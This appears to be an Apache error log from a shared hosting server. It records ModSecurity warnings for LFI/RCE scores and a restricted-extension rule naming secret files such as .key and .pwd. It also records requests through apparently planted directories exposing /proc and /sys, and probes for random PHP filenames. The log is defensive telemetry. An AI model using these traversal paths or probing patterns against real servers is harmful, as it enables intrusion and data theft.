[Fri Jul 17 08:55:58.064598 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxsWFJ5vQjUlAF6-UdAAAAAs"]
[Fri Jul 17 08:55:58.064801 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:58.065277 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxsWFJ5vQjUlAF6-UdAAAAAs"]
[Fri Jul 17 08:55:58.830450 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:55920] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:00.776231 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:56018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:01.204382 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:56032] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:01.945096 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:48632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:02.943024 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:48660] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:03.520162 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:48680] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:03.874204 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwxAi3pC6yjXGNq2AvQAAAAU"]
[Fri Jul 17 08:56:04.198798 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:48710] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:07.402811 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:48926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:09.270846 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:48988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:09.284978 2026] [security2:error] [pid 2019501:tid 2019501] [client 47.128.48.100:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php82/etc/php.d.all/msgpack.ini"] [unique_id "almg0bEWOaI5pmYo9fnPGwAAAAA"]
[Fri Jul 17 08:56:09.285516 2026] [security2:error] [pid 2019501:tid 2019501] [client 47.128.48.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php82/etc/php.d.all/msgpack.ini"] [unique_id "almg0bEWOaI5pmYo9fnPGwAAAAA"]
[Fri Jul 17 08:56:09.319059 2026] [security2:error] [pid 2019501:tid 2019501] [client 47.128.48.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php82/etc/php.d.all/msgpack.ini"] [unique_id "almg0bEWOaI5pmYo9fnPGwAAAAA"]
[Fri Jul 17 08:56:09.635938 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:49032] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:11.927329 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:45122] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:12.002120 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:45150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:13.276944 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:45310] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:15.473981 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:45408] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:16.194480 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:45442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:17.622415 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:45488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:17.772554 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:45500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:18.449473 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:45522] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:19.807732 2026] [ssl:error] [pid 2031210:tid 2031210] (70014)End of file found: [client 66.85.158.91:45626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:23.011861 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:60798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:24.196254 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almg4F1_86A5R6msWNfUsgAAABI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:56:24.196295 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almg4F1_86A5R6msWNfUsgAAABI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:56:25.171389 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:60914] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:26.024527 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:60930] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:26.375861 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:60938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:27.723925 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:60976] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:27.843533 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:32768] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:28.487793 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.95:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory23/node0/memory89/node0/cpu2/node0/compact
[Fri Jul 17 08:56:28.580210 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:32804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:30.429244 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almg5ujME1mgqYZ5O94mhQAAAAE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:56:30.429280 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almg5ujME1mgqYZ5O94mhQAAAAE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:56:31.777706 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:33898] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:36.077328 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:36.080771 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:39.291618 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:34132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:39.895596 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:40.632575 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:34148] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:40.944026 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:43.027105 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:49674] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:43.825309 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:43.825410 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:43.831283 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:43.900848 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:44.015089 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 57.141.18.87:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/node0/memory113/node0/cpu2/firmware_node/subsystem/uevent
[Fri Jul 17 08:56:44.615936 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:44.685422 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:44.885770 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:45.023036 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:45.077492 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:45.249726 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:45.283400 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:45.475580 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:45.569466 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:45.671836 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:45.730580 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:45.731802 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.15.60:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS0/subsystem/tty49/"] [unique_id "almg9Vh1WDijTxd1xw5MwwAAAAc"]
[Fri Jul 17 08:56:45.731823 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.15.60:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS0/subsystem/tty49/"] [unique_id "almg9Vh1WDijTxd1xw5MwwAAAAc"]
[Fri Jul 17 08:56:45.864978 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:46.060084 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:46.261567 2026] [proxy_fcgi:error] [pid 2015125:tid 2015125] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:46.457666 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:46.465566 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:46.582248 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:46.613016 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:46.651418 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:46.664710 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:46.864470 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:47.059805 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:47.254833 2026] [proxy_fcgi:error] [pid 2015125:tid 2015125] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:47.447631 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:47.631364 2026] [ssl:error] [pid 2030803:tid 2030803] (70014)End of file found: [client 66.85.158.91:50044] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:47.645097 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:47.725392 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/node/node0/cpu2/firmware_node/eject
[Fri Jul 17 08:56:47.840080 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:48.035784 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:48.229531 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:48.439547 2026] [proxy_fcgi:error] [pid 2015125:tid 2015125] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:48.547230 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:50122] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:48.692480 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:48.711349 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:50132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:48.924219 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:48.924724 2026] [security2:error] [pid 2018741:tid 2018741] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/euroentertainmen-global": Permission denied [hostname "euroentertainmentlk.com"] [uri "/3pjcpmfsd8b.php"] [unique_id "almg-Loj0IkvhSCYadmCBQAAAAQ"]
[Fri Jul 17 08:56:48.924749 2026] [security2:error] [pid 2018741:tid 2018741] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/euroentertainmen-ip": Permission denied [hostname "euroentertainmentlk.com"] [uri "/3pjcpmfsd8b.php"] [unique_id "almg-Loj0IkvhSCYadmCBQAAAAQ"]
[Fri Jul 17 08:56:49.116115 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:49.251361 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:50196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:49.311778 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:56:49.622425 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:49.622968 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:49.730380 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:49.738777 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:49.872230 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 57.141.18.73:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory114/subsystem/devices/memory78/subsystem/devices/memory12/subsystem/uevent
[Fri Jul 17 08:56:49.933907 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:50.076603 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:50.200237 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:50.265133 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:50.294468 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:50250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:50.528863 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:50.594826 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:50.669590 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:50.687865 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.649703 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.649805 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.649845 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.649880 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.649912 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.649944 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.649982 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.736826 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.746486 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:51.871448 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:52.288722 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:54.945286 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:54.984492 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.060850 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.074998 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.184368 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:49416] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:55.188822 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.211113 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.420942 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.435433 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.665309 2026] [mime:warn] [pid 2030803:tid 2030803] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.679593 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.715122 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.884709 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.977252 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:55.981947 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:49488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:56:55.982119 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.40:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory88/subsystem/devices/memory3/node0/memory9/subsystem/devices/memory137/node0/memory70/state"] [unique_id "almg_4e39YUk0SgV8AU6zAAAABE"]
